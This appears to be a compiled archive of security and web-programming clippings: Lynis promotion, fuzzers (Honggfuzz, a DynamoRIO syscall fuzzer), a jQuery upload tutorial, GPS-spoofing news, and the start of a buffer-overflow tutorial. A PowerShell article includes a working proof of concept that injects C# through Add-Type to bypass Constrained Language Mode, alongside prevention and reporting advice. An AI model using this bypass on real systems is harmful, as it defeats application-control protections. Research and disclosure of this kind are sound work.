
Lynis is written in shell script. Therefore it runs on most systems, without
any adjustments. No alterations, no installation and no third party tools
needed. But.. if you still prefer to use software packages, that's completely
fine with us\!

**More is actually better\!**

Most security solutions only provide support for the common Linux versions. We
simply love all Unix derived systems. Therefore we can support \(almost\) all
of them. We are confident that Lynis run on systems which have the common GNU
tools available. Feel free to test our promises\!

Operatings systems which are confirmed to work:  
**Operating systems**

  * Arch Linux
  * BackTrack Linux
  * CentOS, ClearOS
  * Debian, DragonFlyBSD
  * Fedora Core, FreeBSD
  * Gentoo
  * Kali, Knoppix
  * Linux Mint
  * MacOS X, Mageia, Mandriva
  * NetBSD
  * OpenBSD, OpenSolaris, openSUSE, Oracle Linux
  * PcBSD, PCLinuxOS
  * Red Hat Enterprise Linux \(RHEL\) and derivatives
  * Sabayon, Scientific Linux, Slackware, Solaris 10, SuSE
  * TrueOS
  * Ubuntu and derivatives

Lynis is already included in most software repositories. Also security,
vulnerability and pentesting distributions include Lynis. For example Kali
Linux, ArchAssault and BlackArch have Lynis available.

**Other**

  * Checkpoint GAiA

Some areas which can be audited, including examples of software:

  * **Database servers** : MySQL, Oracle, PostgreSQL
  * **E-mail servers** : Postfix, Sendmail
  * **Identity management** : OpenLDAP
  * **Proxy servers** : Squid
  * **Time daemons** : dntpd, ntpd, timed
  * **Web services** : Apache, Nginx, PHP

**Security budgets**  
Regulations are increasing, security incidents show up in the news almost
daily. It's no wonder companies start to invest in security programs.

**Affordable pricing**  
You like to be secured, we like to help\! Our goal is to spread our technology
to as much companies and individuals as possible. We keep Lynis open source,
so individuals and small companies can _freely_ use the software.

**Passion for Information Security**  
For companies who would like the full Lynis Enterprise suite, with additional
options and support, we have very affordable pricing. We aren't in for the
money. We are here to help your business and improve the information security
field\!

Did we already mention we are passionate about our services?

Discover Pricing »  
\(Good can be very affordable\)

Still have questions or like to know more? Check the contact page and ask\!

# Exploiting PowerShell Code Injection Vulnerabilities to Bypass Constrained
Language Mode

**Created:**| _9/4/2017 9:15:14 AM_  
---|---  
**Updated:**| _9/4/2017 9:15:14 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  Exploiting PowerShell Code Injection Vulnerabilities to Bypass
Constrained Language Mode

###  Introduction

  

Constrained language mode is an extremely effective method of preventing
arbitrary unsigned code execution in PowerShell. It’s most realistic
enforcement scenarios are when Device Guard or AppLocker are in enforcement
mode because any script or module that is not approved per policy will be
placed in constrained language mode, severely limiting an attackers ability to
execute unsigned code. Among the restrictions imposed by constrained language
mode is the inability to call Add-Type. Restricting Add-Type makes sense
considering it compiles and loads arbitrary C\# code into your runspace.
PowerShell code that is approved per policy, however, runs in “full language”
mode and execution of Add-Type is permitted. It turns out that Microsoft-
signed PowerShell code calls Add-Type quite regularly. Don’t believe me? Find
out for yourself by running the following command:

  

ls C:\\\* -Recurse -Include '\*.ps1', '\*.psm1' |

Select-String -Pattern 'Add-Type' |

Sort Path -Unique |

% \{ Get-AuthenticodeSignature -FilePath $\_.Path \} |

? \{ $\_.SignerCertificate.Subject -match 'Microsoft' \}

  

###  Exploitation

  

Now, imagine if the following PowerShell module code \(pretend it’s called
“VulnModule”\) were signed by Microsoft:

  

$Global:Source = @'

public class Test \{

public static string PrintString\(string inputString\) \{

return inputString;

\}

\}

'@

  

Add-Type -TypeDefinition $Global:Source

  

Any ideas on how you might influence the input to Add-Type from constrained
language mode? Take a minute to think about it before reading on.

  

Alright, let’s think the process through together:

  1. Add-Type is passed a global variable as its type definition. Because it’s global, its scope is accessible by anyone, including us, the attacker.
  2. The issue though is that the signed code defines the global variable immediately prior to calling to Add-Type so even if we supplied our own malicious C\# code, it would just be overwritten by the legitimate code.
  3. Did you know that you can set read-only variables using the Set-Variable cmdlet? Do you know what I’m thinking now?

###  Weaponization

  

Okay, so to inject code into Add-Type from constrained language mode, an
attacker needs to define their malicious code as a read-only variable, denying
the signed code from setting the global “Source” variable. Here’s a weaponized
proof of concept:

  

Set-Variable -Name Source -Scope Global -Option ReadOnly -Value @'

public class Injected \{

public static string ToString\(string inputString\) \{

return inputString;

\}

\}

'@

  

Import-Module VulnModule

  

\[Injected\]::ToString\('Injected\!\!\!'\)

  

A quick note about weaponization strategies for Add-Type injection flaws. One
of the restrictions of constrained language mode is that you cannot call .NET
methods on non-whitelisted classes with two exceptions: properties \(which is
just a special “getter” method\) and the ToString method. In the above
weaponized PoC, I chose to implement a static ToString method because ToString
permits me to pass arguments \(a property getter does not\). I also made my
class static because the .NET class whitelist only applies when instantiating
objects with New-Object.

  

So did the above vulnerable example sound contrived and unrealistic? You would
think so but actually Microsoft.PowerShell.ODataAdapter.ps1 within the
Microsoft.PowerShell.ODataUtils module was vulnerable to this exact issue.
Microsoft fixed this issue in either CVE-2017-0215, CVE-2017-0216, or
CVE-2017-0219. I can’t remember, to be honest. Matt Nelson and I reported a
bunch of these injection bugs that were serviced by the awesome PowerShell
team.

  

###  Prevention

  

The easiest way to prevent this class of injection attack is to supply a
single-quoted here-string directly to -TypeDefinition in Add-Type. Single
quoted string will not expand any embedded variables or expressions. Of
course, this scenario assumes that you are compiling static code. If you must
supply dynamically generated code to Add-Type, be exceptionally mindful of how
an attacker might influence its input. To get a sense of a subset of ways to
influence code execution in PowerShell watch my “Defensive Coding Strategies
for a High-Security Environment” talk that I gave at PSConf.EU.

  

###  Mitigation

  

While Microsoft will certainly service these vulnerabilities moving forward,
what is to prevent an attacker from bringing the vulnerable version along with
them?

  

A surprisingly effective blacklist rule for UMCI bypass binaries is the
FileName rule which will block execution based on the filename present in the
OriginalFilename field within the “Version Info” resource in a PE. A
PowerShell script is obviously not a PE file though - it’s a text file so the
FileName rule won’t apply. Instead, you are forced to block the vulnerable
script by its file hash using a Hash rule. Okay… what if there is more than a
single vulnerable version of the same script? You’ve only blocked a single
hash thus far. Are you starting to see the problem? In order to effectively
block all previous vulnerable versions of the script, you must know all hashes
of all vulnerable versions. Microsoft certainly recognizes that problem and
has made a best effort \(considering they are the ones with the resources\) to
scan all previous Windows releases for vulnerable scripts and collect the
hashes and incorporate them into a blacklist here. Considering the challenges
involved in blocking all versions of all vulnerable scripts by their hash, it
is certainly possible that some might fall through the cracks. This is why it
is still imperative to only permit execution of PowerShell version 5 and to
enable scriptblock logging. Lee Holmes has an excellent post on how to
effectively block older versions of PowerShell in his blog post here.

  

Another way in which a defender might get lucky regarding vulnerable
PowerShell script blocking is due to the fact that most scripts and binaries
on the system are catalog signed versus Authenticode signed. Catalog signed
means that rather than the script having an embedded Authenticode signature,
its hash is stored in a catalog file that is signed by Microsoft. So when
Microsoft ships updates, eventually, hashes for old versions will fall out and
no longer remain “signed.” Now, an attacker could presumably also bring an
old, signed catalog file with them and insert it into the catalog store. You
would have to be elevated to perform that action though and by that point,
there are a multitude of other ways to bypass Device Guard UMCI. As a
researcher seeking out such vulnerable scripts, it is ideal to first seek out
potentially vulnerable scripts that have an embedded Authenticode signature as
indicated by the presence of the following string - “SIG \# Begin signature
block”. Such bypass scripts exist. Just ask Matt Nelson.

  

###  Reporting

  

If you find a bypass, report it to secure@microsoft.com and earn yourself a
CVE. The PowerShell team actively addresses injection flaws, but they are also
taking making proactive steps to mitigate many of the primitives used to
influence code execution in these classes of bug.

  

###  Conclusion

  

While constrained language mode remains an extremely effective means of
preventing unsigned code execution, PowerShell and it’s library of signed
modules/scripts remain to be a large attack surface. I encourage everyone to
seek out more injection vulns, report them, earn credit via formal MSRC
acknowledgements, and make the PowerShell ecosystem a more secure place. And
hopefully, as a writer of PowerShell code, you’ll find yourself thinking more
often about how an attacker might be able to influence the execution of your
code.

  

Now, everything that I just explained is great but it turns out that any call
to Add-Type remains vulnerable to injection due to an design issue that
permits exploiting a race condition. I really hope that continuing to shed
light on these issues, Microsoft will considering addressing this fundamental
issue.

Labels: constrained language mode, powershell

  

# Honggfuzz by google

**Created:**| _6/8/2015 4:11:29 PM_  
---|---  
**Updated:**| _6/8/2015 4:11:29 PM_  
**Author:**| __  
**Tags:**| _fuzzing_  
  

# Honggfuzz

A general-purpose, easy-to-use fuzzer with interesting analysis options.
Supports feedback-driven code coverage modes.

This project is maintained by google

#  honggfuzz

**Description**

  * A general-purpose, easy-to-use fuzzer with interesting analysis options. See README wiki page for more details
  * Supports hardware-based feedback-driven fuzzing \(requires Linux and a supported CPU model\)
  * It works, at least, under GNU/Linux and FreeBSD \(possibly under Mac OS X as well\)
  * Can fuzz long-lasting processes \(e.g. network servers like Apache's httpd and ISC's bind\)
  * It's been used to find a few interesting security problems in major software; examples: 

This is NOT an official Google product.

**Code**

  * Latest version: 0.5 CHANGELOG \- using a fresh version from the code repository is strongly suggested
  * Tarball: Honggfuzz 0.5, Direct download link and earlier versions

**Requirements**

  * \(under Linux\) - BFD library \(libbfd-dev\) and LibUnwind \(libunwind-dev/libunwind8-dev\)
  * \(under FreeBSD\) - gmake

Hosted on GitHub Pages using the Dinky theme

# Building an HTML5 Drag & Drop File Uploader Using Sinatra and jQuery: Part 1
• Caffeine • Onehub

**Created:**| _11/21/2010 7:14:11 PM_  
---|---  
**Updated:**| _11/21/2010 7:14:29 PM_  
**Author:**| __  
**Tags:**| _web programming_  
  

## Building an HTML5 Drag & Drop File Uploader Using Sinatra and jQuery: Part
1

##### 12948 Comments »http%3A%2F%2Fonehub.com%2Fblog%2Fposts%2Fdesigning-an-
html5-drag-drop-file-uploader-using-sinatra-and-jquery-
part-1%2FBuilding+an+HTML5+Drag+%26+Drop+File+Uploader+Using+Sinatra+and+jQuery%3A+Part+12010-10-28+13%3A00%3A34Leigh+Caplanhttp%3A%2F%2Fonehub.com%2Fblog%2F%3Fp%3D1294

Upon setting out to build a Drag & Drop uploader, I first trawled the web for
prior art. Blog posts, examples, any information that would lead me down a
well-trodden path. As it turns out, such a path doesn’t really exist yet.

### FileReader: A Dead End

Any cursory research into HTML5 file handling will undoubtedly turn up mention
of the `FileReader` class which has made an appearance in the most recent
versions of Chrome and Firefox. `FileReader` is useful, in that it allows a
browser to read data from files, either all at once, or in chunks, however it
quickly becomes unworkable when you try to use it to read large files for
uploading to a server. This is due to the fact that you need to read the
entire file in one fell swoop to pass off to an `XMLHttpRequest`, and
buffering this much data \(this much being 50MB or more\) will cause every
browser I tested to become completely unresponsive.

### XMLHttpRequest Level 2: The Missing Piece

Why haven’t more drag and drop multi-file uploaders shown up on the web before
now? Certainly lack of support for gathering file information from drop events
was one reason, but another was the fact that until recently, `XMLHttpRequest`
didn’t provide any mechanism for sending file data to the server. Some clever
hacks abound, such as using an IFrame or Flash, but none of these would really
work for our purposes.

It just so happens that the XMLHttpRequest spec has recently been revised by
the W3C: enter XMLHttpRequest Level 2. Here’s the description from the
aforelinked working draft:

> The XMLHttpRequest Level 2 specification enhances the `XMLHttpRequest`
> object with new features, such as cross-origin requests, progress events,
> and the handling of byte streams for both sending and receiving.
Wow, that sounds perfect\! So in supported browsers, an XHR will have an
`upload` attribute, which is an instance of `XMLHttpRequestUpload`. You can
even get progress events from this object, allowing you to build progress
tracking into your uploader. This appears to be supported in Firefox 3.5+,
Safari 5+, and recent versions of Chrome stable \(6.0.472.63 as of writing,
but it’s probably supported in earlier versions\).

There is one caveat to this approach: there’s currently no good way to perform
your XHR file upload as a multipart form post. Experimental support for this
has been added in recent builds of Firefox 4, using the `FormData` interface,
however currently the only way to reliably submit a file in a multipart form
using XHR in existing browsers is to use `FileReader`, read the entire thing
into memory, then manually build a multipart post. So in other words, it’s a
non-starter. Instead, a `XMLHttpRequestUpload` can be sent with a reference to
a file, which the browser will stream from the filesystem as the body of the
request. This may require some extra work on the server side, if you want to
avoid buffering the entire file inside the process handling the request. For
our part, we’ve made some modifications to the venerable nginx upload module,
allowing it to also accept PUT requests with raw file contents in the body.

### Drag & Drop: Just Enough to Get By

People with far more knowledge and tenacity than I have written eloquent
sonnets declaring their undying love for the HTML5 drag & drop API.
Unfortunately, it’s the only game in town if you want to do interesting things
with files dropped on the browser window. For the remainder of this post, and
in subsequent posts, I’ll be building an uploader from the ground up, adding
features and complexity as I go. For now, the simplest thing that can possibly
work: a drop target on the page, which listens for drop events and, if any
files are dropped, creates `XMLHttpRequest`s to send the files to a URL.
Things get a lot more dicey when you want to make a complex element \(like a
table\) into a drop target, highlight the drop area, or show information
underneath the mouse, so we’ll go for progressive enhancement and add that
stuff in later.

### Where The Rubber Meets Brass Tacks

This example micro-app will use Sinatra, and have two endpoints, one that
displays a page with a drop target, and one that accepts a file upload. Follow
the code on github. We’re implementing the front-end code as a jQuery plugin,
but most of the concepts can be adapted to Prototype or even plain Javascript.

First, we create a simple page with a drop target div on it. We also include a
CSS file and links to both jQuery and our uploader Javascript file. Lastly, we
attach an uploader to the drop target:

index.html.erb

[code]

      <html>
        <head>
          <title>Drag &amp; Drop Tacos</title>
          <link rel="stylesheet" href="/css/master.css" type="text/css" media="screen" title="no title" charset="utf-8">
        </head>
    
        <body>
          <div id="drop_target">
          </div>
        </body>
    
        <script type="text/javascript" charset="utf-8" src="/javascripts/jquery-1.4.3.js"></script>
        <script type="text/javascript" charset="utf-8" src="/javascripts/jquery.dnduploader.js"></script>
        <script type="text/javascript" charset="utf-8">
          $("#drop_target").dndUploader({
            url : "/"
          });
        </script>
      </html>
    
    
[/code]

The Ruby code to support this is super simple:

app.rb

[code]

      require 'rubygems'
      require 'sinatra'
      require 'erb'
    
      get '/' do
        erb :"index.html"
      end
    
    
[/code]

To run the app, make sure you have the Sinatra gem installed \(`gem install
sinatra` … depending on your system, you might have to `sudo`\), drop into the
example app directory, and type `ruby app.rb`. WEBrick should start up, and
you should be able to access the application at `localhost:4567`.

Now, let’s take a look at the jQuery plugin. I’ll dispense with the
boilerplate plugin code, but if you’d like a refresher, the jQuery
documentation will get you up to speed. This is a first pass at the plugin– it
won’t really do any uploading yet, but it’ll allow you to drag and drop files
onto the drop target and prevent the browser from trying to open them:

jquery.dnduploader.js

[code]

    (function( $ ){
    
      var methods = {
        init : function( options ) {
    
        return this.each(function(){
    
           var $this = $(this);
    
           $this.bind('dragenter.dndUploader', methods.dragEnter);
           $this.bind('dragover.dndUploader', methods.dragOver);
           $this.bind('drop.dndUploader', methods.drop);
         });
        },
    
        dragEnter : function ( event ) {
          event.stopPropagation();
          event.preventDefault();
    
          return false;
        },
    
        dragOver : function ( event ) {
          event.stopPropagation();
          event.preventDefault();
    
          return false;
        },
    
        drop : function( event ) {
          event.stopPropagation();
          event.preventDefault();
    
          return false;
        }
      };
    
      $.fn.dndUploader = function( method ) {
        if ( methods[method] ) {
          return methods[method].apply( this, Array.prototype.slice.call( arguments, 1 ));
        } else if ( typeof method === 'object' || ! method ) {
          return methods.init.apply( this, arguments );
        } else {
          $.error( 'Method ' +  method + ' does not exist on jQuery.dndUploader' );
        }
      };
    })( jQuery );
    
    
[/code]

The first order of business is to intercept three drag & drop events:
`dragenter`, `dragover`, and `drop`. In order to define your own behavior for
drag & drop, **the default behavior and event bubbling must be cancelled in
your event handler**. This bears repeating- if you don’t cancel event
propagation, the browser’s default drop handling behavior will take over, and
your code won’t work at all. So, we write three identical functions to handle
these events:

jquery.dnduploader.js

[code]

      dragEnter : function ( event ) {
        event.stopPropagation();
        event.preventDefault();
    
        return false;
      },
    
      dragOver : function ( event ) {
        event.stopPropagation();
        event.preventDefault();
    
        return false;
      },
    
      drop : function( event ) {
        event.stopPropagation();
        event.preventDefault();
    
        return false;
      },
    
    
[/code]

Then, in our init function, we bind our event handlers to the appropriate
events:

jquery.dnduploader.js

[code]

      init : function( options ) {
    
      return this.each(function() {
    
         var $this = $(this);
    
         $this.bind('dragenter', methods.dragEnter);
         $this.bind('dragover', methods.dragOver);
         $this.bind('drop', methods.drop);
       });
      }
    
    
[/code]

So, with all of that, we should now have a drop target primed to accept items
dragged onto it.

### Getting information out of the MouseEvent

When files are dropped into our target, the event carries with it important
information about what items were dropped. This information can be found in
the `dataTransfer` property of the `MouseEvent`. The following modification
will allow us to list the contents:

jquery.dnduploader.js

[code]

      drop : function( event ) {
        event.stopPropagation();
        event.preventDefault();
    
        console.log( event.originalEvent.dataTransfer.files );
    
        return false;
      }
    
    
[/code]

If you’ve been following along, when you drop a couple of files onto the
target, you should see something like this:

[code]

      FileList
        0: File
          fileName: "Scan 2.pdf"
          fileSize: 4999673
          name: "Scan 2.pdf"
          size: 4999673
          type: "application/pdf"
          webkitRelativePath: ""
          __proto__: File
        1: File
          fileName: "Scan.jpeg"
          fileSize: 943332
          name: "Scan.jpeg"
          size: 943332
          type: "image/jpeg"
          webkitRelativePath: ""
          __proto__: File
          length: 2
          __proto__: FileList
    
    
[/code]

So, we can easily get the filename, size, and type from the objects in the
`dataTransfer`. Next, we’ll loop through and upload each file. Since this only
works with XMLHttpRequest Level 2, we won’t bother with interfaces that
abstract away the `XMLHttpRequest` object- we’ll create one and manipulate it
directly. First though, we should make sure to store the url, and any other
options, on the uploader node:

jquery.dnduploader.js

[code]

      return this.each( function () {
    
        var $this = $(this);
    
        $.each(options, function( label, setting ) {
          $this.data(label, setting);
        });
    
        $this.bind('dragenter.dndUploader', methods.dragEnter);
    
    
[/code]

So, now that a url and method can be passed in, we’ll handle the upload once
the files have been dropped:

jquery.dnduploader.js

[code]

      drop : function( event ) {
        event.stopPropagation();
        event.preventDefault();
    
        var $this = $(this);
        var dataTransfer = event.originalEvent.dataTransfer;
    
        if (dataTransfer.files.length > 0) {
          $.each(dataTransfer.files, function ( i, file ) {
            var xhr    = new XMLHttpRequest();
            var upload = xhr.upload;
    
            xhr.open($this.data('method') || 'POST', $this.data('url'), true);
            xhr.setRequestHeader('X-Filename', file.fileName);
    
            xhr.send(file);
          });
        };
    
        return false;
      }
    
    
[/code]

Next, make sure to edit `index.html` so that it specifies a `PUT`:

index.html.erb

[code]

      $("#drop_target").dndUploader({
        url : "/",
        method : "PUT"
      });
    
    
[/code]

Finally, we’ll add rudimentary handling of the file on the server. For now,
this just prints the name of the file and its length. From here, reading the
contents or writing to the filesystem isn’t much of a stretch, but for the
time being, I’ll leave that as an exercise to the reader.

app.rb

[code]

      get '/' do
        erb :"index.html"
      end
    
      put '/' do
        puts "uploaded #{env['HTTP_X_FILENAME']} - #{request.body.read.size} bytes"
      end
    
    
[/code]

### What’s Next?

There are some nice features we should probably add to this uploader, such as
the ability to show/hide an overlay when the mouse hovers over the drop
target, an upload progress bar, and feedback when the files have successfully
\(or unsuccessfully\) uploaded. In the next post in this series, I’ll work on
adding these features.

# DynamoRIO based syscall result fuzzer

**Created:**| _1/2/2011 3:59:02 PM_  
---|---  
**Updated:**| _1/2/2011 3:59:33 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification binary instrumentation Fuzzer
awesome_  
  

# DynamoRIO based syscall result fuzzer

### From Practical Software Verification

Jump to: navigation, search

Compile:

[code]

    gcc fuzz.c -DLINUX -DSHOW_RESULTS -DX86_32 -fPIC -I/path/to/DR/build/include/ /path/to/DR/build/lib/libdynamorio.so -shared -o fuzz_client 
    
[/code]

Run:

[code]

    ./drdeploy -v -client /path/to/fuzz_client 0x1 "" netstat 
    
[/code]

[code]

    /*
     * This is a demo fuzzer to show some of the syscall and signal hooking 
     * features of DynamoRIO. The code is based on strace.c and signal.c from the DynamoRIO
     * distribution. It intercepts read() syscalls and fuzzes the result.
     *
     * A real fuzzer based off this would probably want to intercept open() calls to 
     * track what input file the fuzz data came from and probably note the address
     * of the instruction to call the read() for debugging purposes. Also allowing the 
     * user to specify the srand() seed would be useful
     *
     * To modify this to run on Windows see strace.c/signal.c (and also sort out the
     * various glibc calls to whatever Windows alternative you want)
     *
     * nnp@unprotectedhex.com
     * 14 April 2009
     */
    
    #include <stdlib.h>
    #include <time.h>
    #include <stdio.h>
    #include <signal.h>
    #include "dr_api.h"
    
    #define READ_SYSCALL 3
    
    /* Use these to store the paramaters passed to read() */
    static int read_count = 0;
    static void *read_buf = 0x0;
    static int read_fd = 0;
    
    static FILE *fp;
    
    static void event_exit(void);
    static bool event_filter_syscall(void *drcontext, int sysnum);
    static bool event_pre_syscall(void *drcontext, int sysnum);
    static void event_post_syscall(void *drcontext, int sysnum);
    static dr_signal_action_t event_signal(void *drcontext, dr_siginfo_t *info);
    
    DR_EXPORT void 
    dr_init(client_id_t id)
    {
        fp = fopen("/dev/urandom", "r");
    
        srand(time(0));
    
        /* register events */
        dr_register_exit_event(event_exit);
        dr_register_filter_syscall_event(event_filter_syscall);
        dr_register_pre_syscall_event(event_pre_syscall);
        dr_register_post_syscall_event(event_post_syscall);
    
        /* make it easy to tell, by looking at log file, which client executed */
        dr_log(NULL, LOG_ALL, 1, "Client 'taint' initializing\n");
    #ifdef SHOW_RESULTS
        /* also give notification to stderr */
        if (dr_is_notify_on())
            dr_fprintf(STDERR, "Client 'taint' running\n");
    #endif
    }
    
    static dr_signal_action_t 
    event_signal(void *drcontext, dr_siginfo_t *info)
    {
        if (info->sig == SIGTERM) {
            dr_printf("[!] Program received SIGTERM\n");
        } else if (info->sig == SIGSEGV) {
            dr_printf("[!] Program received SIGSEGV\n");
        }
    
        return DR_SIGNAL_DELIVER;
    }
    
    static void 
    event_exit(void)
    {
        dr_fprintf(STDERR, "Client 'taint' exiting\n");
        fclose(fp);
    }
    
    static bool
    event_filter_syscall(void *drcontext, int sysnum)
    {
        if (sysnum == READ_SYSCALL)
            return true;
        else
            return false;
    }
    
    static bool
    event_pre_syscall(void *drcontext, int sysnum)
    {
        /* Need to check this because the filter may not be accurate */
        if (sysnum == READ_SYSCALL) {
            read_fd = dr_syscall_get_param(drcontext, 0);
            read_buf = (void*)dr_syscall_get_param(drcontext, 1);
            read_count = dr_syscall_get_param(drcontext, 2);
            dr_printf("Read syscall (%d); fd : %d, buf : %p, count : %d\n",
                    sysnum, read_fd, read_buf, read_count); 
    
        }
    
        /* returning false means the syscall isn't run */
        return true;
    }
    
    static void 
    event_post_syscall(void *drcontext, int sysnum)
    {
        /* Need to check this because the filter may not be accurate */
        if (sysnum == READ_SYSCALL) {
            int i, x, buf_len, fuzzed_count, mod_op;
            i = x = buf_len = fuzzed_count = mod_op = 0;
            /*
             * Decide whether to fuzz or not
             * Decide whether to max the buffer or not
             * Decide what bits to work the flip
             * Profit... or fail miserably
             */
    
            buf_len = dr_syscall_get_result(drcontext);
            dr_printf("Syscall result %d\n", buf_len);
            if (buf_len <= 0)
                return;
            /* Fuzz approx .5 of the reads, maybe decrease this for programs with many*/
            if (!(rand() % 2)) {
                dr_printf("[+] Fuzzing...\n");
                /* Max out the read buffer */
                if(!(rand() % 2) && buf_len < read_count) {
                    dr_printf("[+] Maxing out the read buffer to %d bytes\n", read_count);
                    dr_syscall_set_result(drcontext, read_count);
                    /* Fill the unused space with junk */
                    if(!(rand() % 2)) {
                        dr_printf("[+] Filling the remaining %d bytes with junk\n",
                                read_count - buf_len);
                        for (i = buf_len; i < read_count; i++) {
                            ((char*)read_buf)[i] = fgetc(fp);
                        }
                    }
                    buf_len = read_count;
                } 
    
                /* Flip bytes */
                for (i = 0; i < buf_len; i++) {
                    /* Flip 10% */
                    x = buf_len/10;
                    mod_op = buf_len/x;
                    if(!(rand() % mod_op)) {
                        fuzzed_count++;
                        ((char*)read_buf)[i] = fgetc(fp);
                    }
                }
                dr_printf("[+] Fuzzed %d/%d bytes\n", fuzzed_count, buf_len);
            }
        }
    } 
    
[/code]

# GPS vulnerability exploitable to control the route of a vessel

**Created:**| _7/28/2013 7:47:06 AM_  
---|---  
**Updated:**| _7/28/2013 7:53:04 AM_  
**Author:**| __  
**Tags:**| _Embedded LOLZ signal DSP GPS_  
  

# **G** PS vulnerability exploitable to control the route of a vessel****

by paganinip on July 27th, 2013

<img src='img/Temp2_3380.jpg' alt='gps vulnerability' />

## A GPS vulnerability could allow hackers and terrorists to hijack ships,
drones and commercial airliners, the GPS expert Todd Humphreys demonstrated
it**.**

A GPS vulnerability  could allow hackers and terrorists to hijack ships,
drones and commercial airliners, the news represents a motivation of the
greatest concerns for responsible for national security of every country**.**

The GPS expert Todd Humphreys, professors at the University of Texas,
demonstrated that just using a cheap apparatus composed by a small antenna, an
electronic GPS “spoofer” built in $3,000 and a laptop he is able take total
control of sophisticated navigation system aboard a 210-foot super-yacht in
the Mediterranean Sea**.**

<img src='img/Temp2_3381.jpg' alt='gps vulnerability vessel' />

We already mentioned Humphreys when we have spoken of drones hacking  just one
year ago, the Assistant Professor of the University of Texas with his team has
created the world’s most powerful GPS spoofer that was tested on GPS-based
timing devices used in mobile phone transmitters**.**

The government is aware of this critical GPS vulnerability, Humphreys was
called before Congress to speak with officials from the FAA, CIA and Pentagon,
but according the researcher the Department of Homeland Security still been
“fumbling around in the dark” on GPS security, doing little to address the
threat**.**

Humphreys commented the GPS vulnerability to the Foxnews  explaining how his
team exploited it:

> _“We injected our spoofing signals into its GPS antennas and we’re basically
> able to control its navigation system with our spoofing signals,” ‘Imagine
> shutting down a port**.** Imagine running a ship aground. These are the
> kinds of implications we’re worried about**.** ”_
The professor Humphreys speaking of the possible consequences of a similar
hack said:

> _“For maritime traffic, there are big implications,” “You’ve got 90 percent
> of the world’s cargo going across the seas**.** Imagine shutting down a
> port. Imagine running a ship aground. These are the kinds of implications
> we’re worried about**.** ”_
The concept is simple, the researchers provided counterfeit GPS signals to the
yacht providing inaccurate information on its position to hijack it,
potentially the attack could be used to disorient any vessel with serious
consequences without victims will note it**.**

Humphreys demonstrated the exploit of a GPS vulnerability aboard the yacht
“White Rose of Drachs” commanded by Capt**.** Andrew Schofield, the official
and his crew were stunned by the effect of the attack**.**

<img src='img/Temp2_3382.jpg' alt='gps vulnerability vessel 2' />

> _“Professor Humphreys and his team did a number of attacks and basically we
> on the bridge were absolutely unaware of any difference,” “I was gobsmacked
> — but my entire deck team was similarly gobsmacked,” Schofield he told Fox
> News**.**_
The hijacking, with relative collision, a cruise ship or an oil tanker would
lead to devastating consequences in terms of loss of human lives and
environmental impact**.** Cases such as the Costa Concordia and the Exxon
Valdez was the most clamorous example of effect of maritime incidents**.**

We cannot limit the analysis to the maritime environment, same kind of attack
could be conducted against aircrafts  or any other system that use GPS
technology:

> _“You’re actually moving about a kilometer off of your intended track in a
> parallel line and you could be running aground instead of going through the
> proper channel,” “Going after an expensive vessel on the seas and going
> after a commercial airliner has a lot of parallels,” Humphreys said**.**_
What’s new in this attack respect previous ones**?**

The latest experiment conducted by Humphreys demonstrated the possibility to
control victim’s GPS system exploiting the GPS vulnerability, not only to
interfere with it**.**

> _“Before we couldn’t control the UAV**.** We could only push it off course.
> This time my students have designed a closed loop controller such that they
> can dictate the heading of this vessel even when the vessel wants to go a
> different direction,” Humphreys said**.**_
Texas Congressman Mike McCaul, chairman of the Homeland Security Committee
expressed its concerns on the GPS security issues and remarked with Senators
Coburn and Collins the necessity to address these critical threats..

> _“It’s a very serious homeland security issue that we’ve asked the secretary
> to review and look at and she’s never responded to my requests,” “The
> department seems to be thumbing its nose at it, saying it has no
> jurisdiction over this issue and not really showing any interest in this
> issue at all**.** ”_
I believe that people must be aware of the risks related to an attack against
any GPS system, the hackers with a low cost appliance could cause serious
damage, Schofield commented the results of the experiment with the following
eloquent statements:

> _“People need to know this kind of thing is possible with a relatively small
> budget and they can with a very simple system steer the ship off-course —
> without the Captain knowing_
Pierluigi Paganini

**\(**Security Affairs **– hacking, GPS vulnerability\)**

****

# The Grey Corner: Windows Buffer Overflow Tutorial: An Egghunter and a
Conditional Jump

**Created:**| _4/10/2011 11:47:53 AM_  
---|---  
**Updated:**| _4/10/2011 11:59:44 AM_  
**Author:**| __  
**Tags:**| _shellcode Exploit Tutorials_  
  

## Windows Buffer Overflow Tutorial: An Egghunter and a Conditional Jump  

**Introduction**  
  
This is entry number five in my series of buffer overflow tutorials. These
tutorials have been written so that the later tutorials build upon skills
taught in the earlier ones, so if you haven't already read parts one, two,
three and four Id recommend you do that first before you attempt this entry.  
  
This particular entry will exploit a vulnerability in Savant Web Server 3.1
originally discovered by muts \(Mati Aharoni\). I will be basing the exploit I
create off the original exploit and the most recent exploit posted at the
Exploit-DB.  
  
The exploitation process for this vulnerability will examine overwritng EIP
with only part of the buffer we send, and will show a way of working around
bad characters when jumping as well as demonstrating the use of an Egghunter.  
  
Warning\! Please note that this tutorial is intended for educational purposes
only, and you should NOT use the skills you gain here to attack any system for
which you don't have permission to access. Its illegal in most jurisdictions
to access a computer system without authorisation, and if you do it and get
caught \(which is likely\) you deserve whatever you have coming to you. Don't
say you haven't been warned.  
  
The exploit we are using for Savant, while several years old, has not been
patched. Take this as a hint: If you are using Savant on a production
server... stop. Like right now.  
  
  
**Required Knowledge**  
  
To follow this tutorial you will need to have basic knowledge of:  

  * TCP/IP networking,
  * management of the Windows Operating System \(including installing software, running and restarting services, connecting to remote desktop sessions, etc\), and
  * running Python and Perl scripts.

  
You need to have good enough knowledge of the attacking system you use
\(whether it be BackTrack, another type of Linux, Windows or anything else\)
to be able to run programs and scripts as well as transfer files.  
  
Knowledge of basic debugger usage with OllyDbg, including the ability to start
and attach to programs, insert breakpoints, step through code, etc, is also
expected. This is covered in my first tutorial.  
  
Python programming skills and knowledge of Metasploit usage are a bonus but
not required.  
  
  
**System Setup**  
  
In order to reproduce this exploit for the tutorial, I used a victim system
running Windows XP SP2, and a attacking system running BackTrack 4 PreFinal.  
  
You don't need to reproduce my setup exactly, but I would suggest sticking to
Windows XP SP2 or earlier for the victim system. The attacking system can be
anything you feel comfortable in, as long as it can run the software I have
specified below, and as long as you are able to translate the Linux commands I
will be listing below into something appropriate for your chosen system.  
  
If required, you can get a XP SP2 Virtual Machine to use as your victim by
following the instructions in the Metasploit Unleashed course, starting in the
section "02 Required Materials" \- "Windows XP SP2" up to the section entitled
"XP SP2 Post Install".  
  
Your victim system must also use a X86 based processor.  
  
In this tutorial my attacking and victim systems used the following IP
